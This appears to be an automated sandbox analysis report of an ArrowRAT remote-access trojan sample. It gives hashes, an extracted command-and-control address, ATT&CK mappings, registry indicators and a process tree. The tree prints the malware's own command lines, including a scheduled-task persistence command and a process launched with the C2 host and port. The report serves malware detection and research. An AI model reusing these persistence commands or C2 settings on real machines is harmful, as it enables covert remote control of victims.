arrowrat | 123e3be67c4e5b88d9cb57c0c44e8574e2e260198e42d7882a974d5575c83c90

Analysis

max time kernel
153s
max time network
162s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
25-09-2024 01:13

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General

Target

jkoi.exe
Size

300.0MB
MD5

135b97e053b660f8e6cacd58965b93cd
SHA1

828e92ad30ac243ec063252a338519e4429940e3
SHA256

e659861670260fa5252d5315d71466659e321a90a357aa3005304f145c4a2027
SHA512

6b19d2143f021feeccf5833b57fff55fbae3c72ea0eb480a893b48acd9ce2bdb0c895cd3516133436b4e937f97ee4e42ce58b4aa3729d1f3c29fa837bc19366c
SSDEEP

12288:VD9TFmMwfrck/YEwEVhftq6rmIGD9P5X5U4LVkYdS7Ffi:KgERVNQ6Fq9hX5U4L94Zi

Score

10^/10

arrowrat client discovery persistence rat

Malware Config

Extracted

Family

arrowrat

Botnet

Client

vncnew1984.duckdns.org:1984

Mutex

ecZCILAfG

Signatures

ArrowRat
Remote access tool with various capabilities first seen in late 2021.
rat arrowrat

Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

persistence

Active Setup

T1547.014

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Active Setup\Installed Components	explorer.exe

Executes dropped EXE 1 IoCs

pid	Process
1332	kio.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 320 set thread context of 2980	320	jkoi.exe	30
PID 2980 set thread context of 1236	2980	RegAsm.exe	34
PID 1332 set thread context of 2208	1332	kio.exe	48
PID 2208 set thread context of 2772	2208	RegAsm.exe	51

System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kio.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jkoi.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-457978338-2990298471-2379561640-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	explorer.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1972	schtasks.exe
2216	schtasks.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2980	RegAsm.exe
2980	RegAsm.exe
2980	RegAsm.exe
2980	RegAsm.exe
2208	RegAsm.exe
2208	RegAsm.exe
2208	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 19 IoCs

description	pid	Process
Token: SeDebugPrivilege	320	jkoi.exe
Token: SeDebugPrivilege	2980	RegAsm.exe
Token: SeShutdownPrivilege	2592	explorer.exe
Token: SeShutdownPrivilege	2592	explorer.exe
Token: SeShutdownPrivilege	2592	explorer.exe
Token: SeShutdownPrivilege	2592	explorer.exe
Token: SeShutdownPrivilege	2592	explorer.exe
Token: SeShutdownPrivilege	2592	explorer.exe
Token: SeShutdownPrivilege	2592	explorer.exe
Token: SeShutdownPrivilege	2592	explorer.exe
Token: 33	3032	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	3032	AUDIODG.EXE
Token: 33	3032	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	3032	AUDIODG.EXE
Token: SeShutdownPrivilege	2592	explorer.exe
Token: SeShutdownPrivilege	2592	explorer.exe
Token: SeDebugPrivilege	1332	kio.exe
Token: SeShutdownPrivilege	2592	explorer.exe
Token: SeDebugPrivilege	2208	RegAsm.exe

Suspicious use of FindShellTrayWindow 27 IoCs

pid	Process
2592	explorer.exe
2592	explorer.exe
2592	explorer.exe
2592	explorer.exe
2592	explorer.exe
2592	explorer.exe
2592	explorer.exe
2592	explorer.exe
2592	explorer.exe
2592	explorer.exe
2592	explorer.exe
2592	explorer.exe
2592	explorer.exe
2592	explorer.exe
2592	explorer.exe
2592	explorer.exe
2592	explorer.exe
2592	explorer.exe
2592	explorer.exe
2592	explorer.exe
2592	explorer.exe
2592	explorer.exe
2592	explorer.exe
2592	explorer.exe
2592	explorer.exe
2592	explorer.exe
2592	explorer.exe

Suspicious use of SendNotifyMessage 17 IoCs

pid	Process
2592	explorer.exe
2592	explorer.exe
2592	explorer.exe
2592	explorer.exe
2592	explorer.exe
2592	explorer.exe
2592	explorer.exe
2592	explorer.exe
2592	explorer.exe
2592	explorer.exe
2592	explorer.exe
2592	explorer.exe
2592	explorer.exe
2592	explorer.exe
2592	explorer.exe
2592	explorer.exe
2592	explorer.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2980	RegAsm.exe
2208	RegAsm.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 320 wrote to memory of 2980	320	jkoi.exe	30
PID 320 wrote to memory of 2980	320	jkoi.exe	30
PID 320 wrote to memory of 2980	320	jkoi.exe	30
PID 320 wrote to memory of 2980	320	jkoi.exe	30
PID 320 wrote to memory of 2980	320	jkoi.exe	30
PID 320 wrote to memory of 2980	320	jkoi.exe	30
PID 320 wrote to memory of 2980	320	jkoi.exe	30
PID 320 wrote to memory of 2980	320	jkoi.exe	30
PID 320 wrote to memory of 2980	320	jkoi.exe	30
PID 320 wrote to memory of 2980	320	jkoi.exe	30
PID 320 wrote to memory of 2980	320	jkoi.exe	30
PID 320 wrote to memory of 2980	320	jkoi.exe	30
PID 2980 wrote to memory of 2592	2980	RegAsm.exe	32
PID 2980 wrote to memory of 2592	2980	RegAsm.exe	32
PID 2980 wrote to memory of 2592	2980	RegAsm.exe	32
PID 2980 wrote to memory of 2592	2980	RegAsm.exe	32
PID 2980 wrote to memory of 892	2980	RegAsm.exe	33
PID 2980 wrote to memory of 892	2980	RegAsm.exe	33
PID 2980 wrote to memory of 892	2980	RegAsm.exe	33
PID 2980 wrote to memory of 892	2980	RegAsm.exe	33
PID 2980 wrote to memory of 1236	2980	RegAsm.exe	34
PID 2980 wrote to memory of 1236	2980	RegAsm.exe	34
PID 2980 wrote to memory of 1236	2980	RegAsm.exe	34
PID 2980 wrote to memory of 1236	2980	RegAsm.exe	34
PID 2980 wrote to memory of 1236	2980	RegAsm.exe	34
PID 2980 wrote to memory of 1236	2980	RegAsm.exe	34
PID 2980 wrote to memory of 1236	2980	RegAsm.exe	34
PID 2980 wrote to memory of 1236	2980	RegAsm.exe	34
PID 2980 wrote to memory of 1236	2980	RegAsm.exe	34
PID 320 wrote to memory of 1096	320	jkoi.exe	36
PID 320 wrote to memory of 1096	320	jkoi.exe	36
PID 320 wrote to memory of 1096	320	jkoi.exe	36
PID 320 wrote to memory of 1096	320	jkoi.exe	36
PID 320 wrote to memory of 2692	320	jkoi.exe	37
PID 320 wrote to memory of 2692	320	jkoi.exe	37
PID 320 wrote to memory of 2692	320	jkoi.exe	37
PID 320 wrote to memory of 2692	320	jkoi.exe	37
PID 320 wrote to memory of 2840	320	jkoi.exe	38
PID 320 wrote to memory of 2840	320	jkoi.exe	38
PID 320 wrote to memory of 2840	320	jkoi.exe	38
PID 320 wrote to memory of 2840	320	jkoi.exe	38
PID 2592 wrote to memory of 2952	2592	explorer.exe	41
PID 2592 wrote to memory of 2952	2592	explorer.exe	41
PID 2592 wrote to memory of 2952	2592	explorer.exe	41
PID 2692 wrote to memory of 1972	2692	cmd.exe	43
PID 2692 wrote to memory of 1972	2692	cmd.exe	43
PID 2692 wrote to memory of 1972	2692	cmd.exe	43
PID 2692 wrote to memory of 1972	2692	cmd.exe	43
PID 1568 wrote to memory of 1332	1568	taskeng.exe	47
PID 1568 wrote to memory of 1332	1568	taskeng.exe	47
PID 1568 wrote to memory of 1332	1568	taskeng.exe	47
PID 1568 wrote to memory of 1332	1568	taskeng.exe	47
PID 1332 wrote to memory of 2208	1332	kio.exe	48
PID 1332 wrote to memory of 2208	1332	kio.exe	48
PID 1332 wrote to memory of 2208	1332	kio.exe	48
PID 1332 wrote to memory of 2208	1332	kio.exe	48
PID 1332 wrote to memory of 2208	1332	kio.exe	48
PID 1332 wrote to memory of 2208	1332	kio.exe	48
PID 1332 wrote to memory of 2208	1332	kio.exe	48
PID 1332 wrote to memory of 2208	1332	kio.exe	48
PID 1332 wrote to memory of 2208	1332	kio.exe	48
PID 1332 wrote to memory of 2208	1332	kio.exe	48
PID 1332 wrote to memory of 2208	1332	kio.exe	48
PID 1332 wrote to memory of 2208	1332	kio.exe	48

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\jkoi.exe
"C:\Users\Admin\AppData\Local\Temp\jkoi.exe"
1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:320
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2980
- - C:\Windows\explorer.exe
    "C:\Windows\explorer.exe"
    3⤵
    - Boot or Logon Autostart Execution: Active Setup
    - Modifies Internet Explorer settings
    - Modifies registry class
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:2592
  - - C:\Windows\system32\ctfmon.exe
      ctfmon.exe
      4⤵
      PID:2952
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client vncnew1984.duckdns.org 1984 ecZCILAfG
    3⤵
    PID:892
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client vncnew1984.duckdns.org 1984 ecZCILAfG
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1236
- C:\Windows\SysWOW64\cmd.exe
  "cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\kio"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1096
- C:\Windows\SysWOW64\cmd.exe
  "cmd" /c schtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\kio\kio.exe'" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2692
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\kio\kio.exe'" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:1972
- C:\Windows\SysWOW64\cmd.exe
  "cmd" /c copy "C:\Users\Admin\AppData\Local\Temp\jkoi.exe" "C:\Users\Admin\AppData\Roaming\kio\kio.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2840

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x2f0
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3032

C:\Windows\system32\taskeng.exe
taskeng.exe {BF7E4C19-D6FB-4E75-A6F9-A9F1C28495FA} S-1-5-21-457978338-2990298471-2379561640-1000:WOUOSVRD\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:1568
- C:\Users\Admin\AppData\Roaming\kio\kio.exe
  C:\Users\Admin\AppData\Roaming\kio\kio.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1332
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:2208
  - - C:\Windows\explorer.exe
      "C:\Windows\explorer.exe"
      4⤵
      PID:2332
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client vncnew1984.duckdns.org 1984 ecZCILAfG
      4⤵
      System Location Discovery: System Language Discovery
      PID:2772
- - C:\Windows\SysWOW64\cmd.exe
    "cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\kio"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1896
- - C:\Windows\SysWOW64\cmd.exe
    "cmd" /c schtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\kio\kio.exe'" /f
    3⤵
    PID:2784
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\kio\kio.exe'" /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2216
- - C:\Windows\SysWOW64\cmd.exe
    "cmd" /c copy "C:\Users\Admin\AppData\Roaming\kio\kio.exe" "C:\Users\Admin\AppData\Roaming\kio\kio.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2660

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\TMP_pass

Filesize
46KB

MD5
02d2c46697e3714e49f46b680b9a6b83

SHA1
84f98b56d49f01e9b6b76a4e21accf64fd319140

SHA256
522cad95d3fa6ebb3274709b8d09bbb1ca37389d0a924cd29e934a75aa04c6c9

SHA512
60348a145bfc71b1e07cb35fa79ab5ff472a3d0a557741ea2d39b3772bc395b86e261bd616f65307ae0d997294e49b5548d32f11e86ef3e2704959ca63da8aac

Download Submit
memory/320-28-0x0000000074300000-0x00000000749EE000-memory.dmp

Filesize
6.9MB

Download
memory/320-1-0x0000000000A00000-0x0000000000ABC000-memory.dmp

Filesize
752KB

Download
memory/320-2-0x0000000074300000-0x00000000749EE000-memory.dmp

Filesize
6.9MB

Download
memory/320-3-0x000000007430E000-0x000000007430F000-memory.dmp

Filesize
4KB

Download
memory/320-4-0x0000000074300000-0x00000000749EE000-memory.dmp

Filesize
6.9MB

Download
memory/320-0-0x000000007430E000-0x000000007430F000-memory.dmp

Filesize
4KB

Download
memory/1236-26-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/1236-27-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/1236-24-0x00000000FFFDE000-0x00000000FFFDF000-memory.dmp

Filesize
4KB

Download
memory/1236-16-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/1236-25-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/1236-22-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/1236-20-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/1236-19-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/1332-37-0x0000000000FA0000-0x000000000105C000-memory.dmp

Filesize
752KB

Download
memory/2592-65-0x0000000003E30000-0x0000000003E40000-memory.dmp

Filesize
64KB

Download
memory/2772-61-0x00000000FFFDE000-0x00000000FFFDF000-memory.dmp

Filesize
4KB

Download
memory/2980-9-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/2980-13-0x0000000000400000-0x0000000000460000-memory.dmp

Filesize
384KB

Download
memory/2980-15-0x0000000000400000-0x0000000000460000-memory.dmp

Filesize
384KB

Download
memory/2980-11-0x0000000000400000-0x0000000000460000-memory.dmp

Filesize
384KB

Download
memory/2980-6-0x0000000000400000-0x0000000000460000-memory.dmp

Filesize
384KB

Download
memory/2980-7-0x0000000000400000-0x0000000000460000-memory.dmp

Filesize
384KB

Download
memory/2980-8-0x0000000000400000-0x0000000000460000-memory.dmp

Filesize
384KB

Download
memory/2980-5-0x0000000000400000-0x0000000000460000-memory.dmp

Filesize
384KB

Download